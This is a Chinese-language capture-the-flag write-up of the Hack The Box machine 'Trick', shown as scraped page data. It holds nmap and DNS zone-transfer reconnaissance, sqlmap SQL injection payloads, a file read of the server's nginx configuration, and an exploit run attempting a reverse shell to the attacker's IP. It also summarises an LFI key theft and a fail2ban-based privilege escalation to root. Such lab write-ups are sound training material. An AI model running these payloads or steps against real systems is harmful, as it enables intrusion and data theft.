19:I[15621,["/_next/static/immutable/chunks/3gm-8e62xn1qd.js","/_next/static/immutable/chunks/0n2yq6f-f75k2.js"],"ArticleReader"] 1a:T728,

$ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.31.177 --verbose -oA nmap/quick_scan
...<SNIP>...
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
...<SNIP>...

$ nmap -sC -sV 10.129.31.177 -vv -oA nmap/1000
...<SNIP>...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
|   256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
25/tcp open  smtp?   syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...

1b:T6d0,$ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.31.177 --verbose -oA nmap/quick_scan ...... PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http ...... $ nmap -sC -sV 10.129.31.177 -vv -oA nmap/1000 ...... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0= | 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm 25/tcp open smtp? syn-ack ttl 63 |_smtp-commands: Couldn't establish connection on port 25 53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http syn-ack ttl 63 nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.14.2 |_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA |_http-title: Coming Soon - Start Bootstrap Theme Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ......1c:Tc54,

abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick [263s]
$ sqlmap -r login_request.txt --batch --threads 5 --retries 100 --file-read="/etc/nginx/sites-available/default"
...<SNIP>...
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=aoeunsht' AND 2839=(SELECT (CASE WHEN (2839=2839) THEN 2839 ELSE (SELECT 2690 UNION SELECT 6266) END))-- KIUI&password=aoeu
---
...<SNIP>...
[16:30:41] [INFO] the remote file '/etc/nginx/sites-available/default' is smaller (1058 B) than file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default' (2116 B)
files saved to [1]:
[*] /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default (size differs from remote file)

$ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default
736572766572207B0A096C697374656E2038302064656661756C745F7365727665723B0A096C59??74656E205B3A3A5D3A38302064656661756C745F7365727665723B0A097365727665725F6E616D6520747269636B2E6874623B0A09726F6F74202F7661722E??77772F68746D6C3B0A0A09696E64657820696E6465782E68746D6C20696E6465782E68746D20696E64????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????203D3430343B0A097D0A0A096C6F636174696F6E207E1???2E70687024207B0A0909696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A0909666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736E535A?????0440A7D0A0A0A736572766572207B0A096C697374656E2038303B0A096C697374656E205B3A3A5D3A38303B0A0A097365727665725F6E616D652070726570726F642D6D61726B6574696E672E747269636B2E6874623B0A0A09726F6F74202F7661722F7777772F6D61726B65743B0A09696E64657820696E6465782E7068703B0A0A096C6F636174696F6E202F207B0A09097472795F66696C6573202475726920247572692F203D3430343B0A097D0A0A20202020202020206C6F636174696F6E207E1?5?????487024207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2D6D69636861656C2E736F636B3B0A20202020202020207D0A7D0A0A736572766572207B0A20202020202020206C697374656E2038303B0A20202020202020206C697374656E205B3A3A5D3A38303B0A0A20202020201????????0727665725F6E616D652070726570726F642D706179726F6C6C2E747269636B2E6874623B0A0A2020202020202020726F6F74202F7661722F7777772F706179726F6C6C3B0A2020202020202020696E64657820696E6465782E7068703B0A0A20202020202020206C6F636174696F6E202F207B0A202020202020202020202020202020207472795F66696C6573202475726920247572692F203D3430343B0A20202020202020207D0A0A20202020202020206C6F636174696F6E207E205C2E7??????0207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736F636B3B0A20202020202020207D0A7D0A

1d:Tc1e,abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick [263s] $ sqlmap -r login_request.txt --batch --threads 5 --retries 100 --file-read="/etc/nginx/sites-available/default" ...... --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=aoeunsht' AND 2839=(SELECT (CASE WHEN (2839=2839) THEN 2839 ELSE (SELECT 2690 UNION SELECT 6266) END))-- KIUI&password=aoeu --- ...... [16:30:41] [INFO] the remote file '/etc/nginx/sites-available/default' is smaller (1058 B) than file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default' (2116 B) files saved to [1]: [*] /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default (size differs from remote file) $ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default 736572766572207B0A096C697374656E2038302064656661756C745F7365727665723B0A096C59??74656E205B3A3A5D3A38302064656661756C745F7365727665723B0A097365727665725F6E616D6520747269636B2E6874623B0A09726F6F74202F7661722E??77772F68746D6C3B0A0A09696E64657820696E6465782E68746D6C20696E6465782E68746D20696E64????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????203D3430343B0A097D0A0A096C6F636174696F6E207E1???2E70687024207B0A0909696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A0909666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736E535A?????0440A7D0A0A0A736572766572207B0A096C697374656E2038303B0A096C697374656E205B3A3A5D3A38303B0A0A097365727665725F6E616D652070726570726F642D6D61726B6574696E672E747269636B2E6874623B0A0A09726F6F74202F7661722F7777772F6D61726B65743B0A09696E64657820696E6465782E7068703B0A0A096C6F636174696F6E202F207B0A09097472795F66696C6573202475726920247572692F203D3430343B0A097D0A0A20202020202020206C6F636174696F6E207E1?5?????487024207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2D6D69636861656C2E736F636B3B0A20202020202020207D0A7D0A0A736572766572207B0A20202020202020206C697374656E2038303B0A20202020202020206C697374656E205B3A3A5D3A38303B0A0A20202020201????????0727665725F6E616D652070726570726F642D706179726F6C6C2E747269636B2E6874623B0A0A2020202020202020726F6F74202F7661722F7777772F706179726F6C6C3B0A2020202020202020696E64657820696E6465782E7068703B0A0A20202020202020206C6F636174696F6E202F207B0A202020202020202020202020202020207472795F66696C6573202475726920247572692F203D3430343B0A20202020202020207D0A0A20202020202020206C6F636174696F6E207E205C2E7??????0207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736F636B3B0A20202020202020207D0A7D0A1e:T58e,

$ python3 -c "
import re
d=open('/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default').read().strip()
out=bytearray(); i=0
while i < len(d)-1:
    p=d[i:i+2]
    out += bytes.fromhex(p) if re.fullmatch('[0-9A-Fa-f]{2}',p) else b'.'
    i+=2
print(out.decode('utf-8','replace'))
"
server {
	listen 80 default_server;
	lY.ten [::]:80 default_server;
	server_name trick.htb;
	root /var..ww/html;

	index index.html index.htm ind............................................................................ =404;
	}

	location ~...php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/php7.3-fpm.snSZ...D
}


server {
	listen 80;
	listen [::]:80;

	server_name preprod-marketing.trick.htb;

	root /var/www/market;
	index index.php;

	location / {
		try_files $uri $uri/ =404;
	}

        location ~....Hp$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

     .....rver_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \..... {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

1f:T4a0,$ python3 -c " import re d=open('/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default').read().strip() out=bytearray(); i=0 while i < len(d)-1: p=d[i:i+2] out += bytes.fromhex(p) if re.fullmatch('[0-9A-Fa-f]{2}',p) else b'.' i+=2 print(out.decode('utf-8','replace')) " server { listen 80 default_server; lY.ten [::]:80 default_server; server_name trick.htb; root /var..ww/html; index index.html index.htm ind............................................................................ =404; } location ~...php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.3-fpm.snSZ...D } server { listen 80; listen [::]:80; server_name preprod-marketing.trick.htb; root /var/www/market; index index.php; location / { try_files $uri $uri/ =404; } location ~....Hp$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock; } } server { listen 80; listen [::]:80; .....rver_name preprod-payroll.trick.htb; root /var/www/payroll; index index.php; location / { try_files $uri $uri/ =404; } location ~ \..... { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.3-fpm.sock; } }11:["$","main",null,{"className":"reader-page","children":[["$","div",null,{"className":"reader-kicker","children":[["$","$L10",null,{"href":"/sources/8493b38312725c73","children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":16,"height":16,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-arrow-left","children":[["$","path","1l729n",{"d":"m12 19-7-7 7-7"}],["$","path","x3x0zl",{"d":"M19 12H5"}],"$undefined"]}]," 返回 ","ABB00717"]}],["$","span",null,{"children":"观点博客"}]]}],["$","header",null,{"className":"article-meta","children":[["$","span",null,{"children":["FROM · ","ABB00717"]}],["$","div",null,{"children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":15,"height":15,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-calendar-days","children":[["$","path","1cmpym",{"d":"M8 2v4"}],["$","path","4m81vk",{"d":"M16 2v4"}],["$","rect","1hopcy",{"width":"18","height":"18","x":"3","y":"4","rx":"2"}],["$","path","8toen8",{"d":"M3 10h18"}],["$","path","6423bh",{"d":"M8 14h.01"}],["$","path","1etili",{"d":"M12 14h.01"}],["$","path","1gbofw",{"d":"M16 14h.01"}],["$","path","lrp35t",{"d":"M8 18h.01"}],["$","path","mhygvu",{"d":"M12 18h.01"}],["$","path","kzsmim",{"d":"M16 18h.01"}],"$undefined"]}]," ","2026年8月27日",null]}]]}],["$","$L19",null,{"article":{"title":"HTB - Trick","byline":null,"publishedAt":"2026-08-27T10:22:00.000Z","language":"fr","blocks":[{"id":"b0","type":"heading","html":"

靶機簡介

","text":"靶機簡介"},{"id":"b1","type":"paragraph","html":"

透過 dig 我們取得了靶機的 vHost 相關資訊，在該 vHost 上是一個 Payroll Management System 網站。在針對登入功能測試以後，確認存在 SQL Injection 漏洞。而由於資料庫使用者具備 FILE 權限，我們得以透過 load_file() 讀取伺服器本機檔案。透過該路徑取得 Nginx 站台設定檔以後，發現了第二個 vHost。

","text":"透過 dig 我們取得了靶機的 vHost 相關資訊，在該 vHost 上是一個 Payroll Management System 網站。在針對登入功能測試以後，確認存在 SQL Injection 漏洞。而由於資料庫使用者具備 FILE 權限，我們得以透過 load_file() 讀取伺服器本機檔案。透過該路徑取得 Nginx 站台設定檔以後，發現了第二個 vHost。"},{"id":"b2","type":"paragraph","html":"

而在第二個 vHost 上，我們發現了 LFI 漏洞。我們先是在 /etc/passwd 枚舉使用者，並繼續利用 LFI 成功找到其中一位使用者 michael 的 id_rsa SSH 金鑰，以 michael 身份透過 SSH 登入，取得了初始立足點。

","text":"而在第二個 vHost 上，我們發現了 LFI 漏洞。我們先是在 /etc/passwd 枚舉使用者，並繼續利用 LFI 成功找到其中一位使用者 michael 的 id_rsa SSH 金鑰，以 michael 身份透過 SSH 登入，取得了初始立足點。"},{"id":"b3","type":"paragraph","html":"

在這之後，我們發現一個 michael 不需密碼即可 sudo 執行的腳本，允許我們重新啟動伺服器的 fail2ban 服務；同時 michael 也有權限寫入 fail2ban 的設定目錄。兩者結合便構成了完整的提權路徑：我們既能修改 fail2ban 執行的動作，也能讓修改生效。最終我們將封鎖動作改為 chmod 4777 /bin/bash，重啟服務後以錯誤密碼連續嘗試 SSH 登入觸發封鎖，再執行 bash -p 成功取得 root shell。

","text":"在這之後，我們發現一個 michael 不需密碼即可 sudo 執行的腳本，允許我們重新啟動伺服器的 fail2ban 服務；同時 michael 也有權限寫入 fail2ban 的設定目錄。兩者結合便構成了完整的提權路徑：我們既能修改 fail2ban 執行的動作，也能讓修改生效。最終我們將封鎖動作改為 chmod 4777 /bin/bash，重啟服務後以錯誤密碼連續嘗試 SSH 登入觸發封鎖，再執行 bash -p 成功取得 root shell。"},{"id":"b4","type":"heading","html":"

Academy x HTB Labs

","text":"Academy x HTB Labs"},{"id":"b6","type":"heading","html":"

Box Info

","text":"Box Info"},{"id":"b8","type":"heading","html":"

Recon

","text":"Recon"},{"id":"b9","type":"heading","html":"

nmap

","text":"nmap"},{"id":"b10","type":"paragraph","html":"

首先一定是 nmap 伺候：

","text":"首先一定是 nmap 伺候："},{"id":"b11","type":"paragraph","html":"$1a","text":"$1b"},{"id":"b12","type":"paragraph","html":"

我們先去網頁看看，編輯 /etc/hosts：

","text":"我們先去網頁看看，編輯 /etc/hosts："},{"id":"b13","type":"paragraph","html":"

10.129.31.177   trick.htb\n

","text":"10.129.31.177 trick.htb"},{"id":"b15","type":"heading","html":"

Free Trial

","text":"Free Trial"},{"id":"b16","type":"paragraph","html":"

用了 Start Bootstrap，看到 10 day free trial 我直接 Neuron Activation：

","text":"用了 Start Bootstrap，看到 10 day free trial 我直接 Neuron Activation："},{"id":"b18","type":"paragraph","html":"

如果這個網站試用期限到了，那麼它前端輸入驗證可能也會因此失效。但很可惜，它甚至連我們的請求都沒有送出（右邊 proxy 什麼都沒攔截到）：

","text":"如果這個網站試用期限到了，那麼它前端輸入驗證可能也會因此失效。但很可惜，它甚至連我們的請求都沒有送出（右邊 proxy 什麼都沒攔截到）："},{"id":"b20","type":"heading","html":"

404 Page

","text":"404 Page"},{"id":"b21","type":"paragraph","html":"

透過 404 Page 找到 Nginx 的版本：

","text":"透過 404 Page 找到 Nginx 的版本："},{"id":"b23","type":"paragraph","html":"

試了 CVE-2026-42945，但很可惜沒有用。看了一下在靶機 Release Date 以前的 CVE 沒找到什麼有趣的，就沒有再繼續深入了。

","text":"試了 CVE-2026-42945，但很可惜沒有用。看了一下在靶機 Release Date 以前的 CVE 沒找到什麼有趣的，就沒有再繼續深入了。"},{"id":"b24","type":"heading","html":"

蒐集更多資訊

","text":"蒐集更多資訊"},{"id":"b25","type":"paragraph","html":"

既然本體網站找不到什麼東西，就挖挖看有沒有其他常見的東西。比方說目錄和檔案：

","text":"既然本體網站找不到什麼東西，就挖挖看有沒有其他常見的東西。比方說目錄和檔案："},{"id":"b26","type":"paragraph","html":"

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://trick.htb/FUZZ -ic\n...<SNIP>...\n                        [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 68ms]\nassets                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 67ms]\ncss                     [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 84ms]\njs                      [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 69ms]\n                        [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 70ms]\n:: Progress: [220546/220546] :: Job [1/1] :: 404 req/sec :: Duration: [0:06:51] :: Errors: 0 ::\n

","text":"$$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://trick.htb/FUZZ -ic ...... [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 68ms] assets [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 67ms] css [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 84ms] js [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 69ms] [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 70ms] :: Progress: [220546/220546] :: Job [1/1] :: 404 req/sec :: Duration: [0:06:51] :: Errors: 0 ::"},{"id":"b27","type":"paragraph","html":"

VHOST：

","text":"VHOST："},{"id":"b28","type":"paragraph","html":"

abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick/CVE-2026-42945-POC [32s]\n$ gobuster vhost -u http://trick.htb -w /usr/share/SecLists/Discovery/Web-Content/common.txt --append-domain --exclude-status 400\n...<SNIP>...\nStarting gobuster in VHOST enumeration mode\n===============================================================\nProgress: 4751 / 4751 (100.00%)\n===============================================================\nFinished\n===============================================================\n

","text":"abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick/CVE-2026-42945-POC [32s] $ gobuster vhost -u http://trick.htb -w /usr/share/SecLists/Discovery/Web-Content/common.txt --append-domain --exclude-status 400 ...... Starting gobuster in VHOST enumeration mode =============================================================== Progress: 4751 / 4751 (100.00%) =============================================================== Finished ==============================================================="},{"id":"b29","type":"paragraph","html":"

DNS：

","text":"DNS："},{"id":"b30","type":"paragraph","html":"

$ dig axfr trick.htb @10.129.31.177\n\n; <<>> DiG 9.20.26-1-Debian <<>> axfr trick.htb @10.129.31.177\n;; global options: +cmd\ntrick.htb.\t\t604800\tIN\tSOA\ttrick.htb. root.trick.htb. 5 604800 86400 2419200 604800\ntrick.htb.\t\t604800\tIN\tNS\ttrick.htb.\ntrick.htb.\t\t604800\tIN\tA\t127.0.0.1\ntrick.htb.\t\t604800\tIN\tAAAA\t::1\npreprod-payroll.trick.htb. 604800 IN\tCNAME\ttrick.htb.\ntrick.htb.\t\t604800\tIN\tSOA\ttrick.htb. root.trick.htb. 5 604800 86400 2419200 604800\n;; Query time: 284 msec\n;; SERVER: 10.129.31.177#53(10.129.31.177) (TCP)\n;; WHEN: Wed Aug 26 11:55:01 CST 2026\n;; XFR size: 6 records (messages 1, bytes 231)\n

","text":"$$ dig axfr trick.htb @10.129.31.177 ; <<>> DiG 9.20.26-1-Debian <<>> axfr trick.htb @10.129.31.177 ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 ;; Query time: 284 msec ;; SERVER: 10.129.31.177#53(10.129.31.177) (TCP) ;; WHEN: Wed Aug 26 11:55:01 CST 2026 ;; XFR size: 6 records (messages 1, bytes 231)"},{"id":"b31","type":"paragraph","html":"

有欸！找到了 preprod-payroll.trick.htb 這個酷東西，把它加進 /etc/hosts 裡面：

","text":"有欸！找到了 preprod-payroll.trick.htb 這個酷東西，把它加進 /etc/hosts 裡面："},{"id":"b32","type":"paragraph","html":"

10.129.31.177   trick.htb preprod-payroll.trick.htb\n

","text":"10.129.31.177 trick.htb preprod-payroll.trick.htb"},{"id":"b33","type":"heading","html":"

preprod-payroll.trick.htb

","text":"preprod-payroll.trick.htb"},{"id":"b34","type":"paragraph","html":"

進去就一個登入頁面：

","text":"進去就一個登入頁面："},{"id":"b36","type":"heading","html":"

撿 CVE

","text":"撿 CVE"},{"id":"b37","type":"paragraph","html":"

從 tab 上的名字搜尋，找到一個現成的 CVE-2024-34833：

","text":"從 tab 上的名字搜尋，找到一個現成的 CVE-2024-34833："},{"id":"b39","type":"paragraph","html":"

但很可惜這個用不了，因為 action=save_settings 沒有反應，東西無法上傳：

","text":"但很可惜這個用不了，因為 action=save_settings 沒有反應，東西無法上傳："},{"id":"b40","type":"paragraph","html":"

$ uv run exploit.py -rhost preprod-payroll.trick.htb -lhost 10.10.17.56 -lport 6061\n\nUploading a reverse shell via http://preprod-payroll.trick.htb:80/ajax.php?action=save_settings\nOpening a reverse shell\nFailed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746260_a.php\nFailed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746200_a.php\nFailed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746320_a.php\nGuessing filename failed\n

","text":"$$ uv run exploit.py -rhost preprod-payroll.trick.htb -lhost 10.10.17.56 -lport 6061 Uploading a reverse shell via http://preprod-payroll.trick.htb:80/ajax.php?action=save_settings Opening a reverse shell Failed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746260_a.php Failed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746200_a.php Failed to open revshell using http://preprod-payroll.trick.htb:80/assets/img/1787746320_a.php Guessing filename failed"},{"id":"b41","type":"paragraph","html":"

後來有找到一個超級新的 CVE-2026-78202：

","text":"後來有找到一個超級新的 CVE-2026-78202："},{"id":"b43","type":"paragraph","html":"

我想說可以用用看，但你猜怎麼著？欸這也用不了 xD 作者直接把這條路賭死了：

","text":"我想說可以用用看，但你猜怎麼著？欸這也用不了 xD 作者直接把這條路賭死了："},{"id":"b45","type":"heading","html":"

Time-Based SQL Injection

","text":"Time-Based SQL Injection"},{"id":"b46","type":"paragraph","html":"

那只好來會會這個登入介面，其實登入也有一個現成的 CVE-2024-8081：

","text":"那只好來會會這個登入介面，其實登入也有一個現成的 CVE-2024-8081："},{"id":"b48","type":"paragraph","html":"

直接用 sqlmap 開炸，炸出了一個 Time-Based Blind SQL Injection：

","text":"直接用 sqlmap 開炸，炸出了一個 Time-Based Blind SQL Injection："},{"id":"b49","type":"paragraph","html":"

abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick\n$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu'\n...<SNIP>...\n---\nParameter: username (POST)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: username=aoeunsht' AND (SELECT 4474 FROM (SELECT(!SLEEP(5)))RQoP) AND 'qEzr'='qEzr&password=aoeu\n---\n[12:28:05] [INFO] the back-end DBMS is MySQL\n[12:28:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions\ndo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]\nweb application technology: Nginx 1.14.2, PHP\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[12:28:37] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb'\n\n[*] ending @ 12:28:37 /2026-08-26/\n

","text":"abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick $ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' ...... --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=aoeunsht' AND (SELECT 4474 FROM (SELECT(!SLEEP(5)))RQoP) AND 'qEzr'='qEzr&password=aoeu --- [12:28:05] [INFO] the back-end DBMS is MySQL [12:28:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] web application technology: Nginx 1.14.2, PHP back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [12:28:37] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb' [*] ending @ 12:28:37 /2026-08-26/"},{"id":"b50","type":"paragraph","html":"

於是我就開始枚舉資料庫，首先是 user：

","text":"於是我就開始枚舉資料庫，首先是 user："},{"id":"b51","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --current-user --time-sec 1\n...<SNIP>...\ncurrent user: 'remo@localhost'\n[13:38:33] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb'\n\n[*] ending @ 13:38:33 /2026-08-26/\n

","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --current-user --time-sec 1 ...... current user: 'remo@localhost' [13:38:33] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb' [*] ending @ 13:38:33 /2026-08-26/"},{"id":"b52","type":"paragraph","html":"

再來是資料庫基本資訊：

","text":"再來是資料庫基本資訊："},{"id":"b53","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --banner --current-user --current-db --is-dba --time-sec 1\n...<SNIP>...\nweb application technology: PHP, Nginx 1.14.2\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\nbanner: '10.3.34-MariaDB-0+deb10u1'\ncurrent user: 'remo@localhost'\ncurrent database: 'payroll_db'\ncurrent user is DBA: False\n

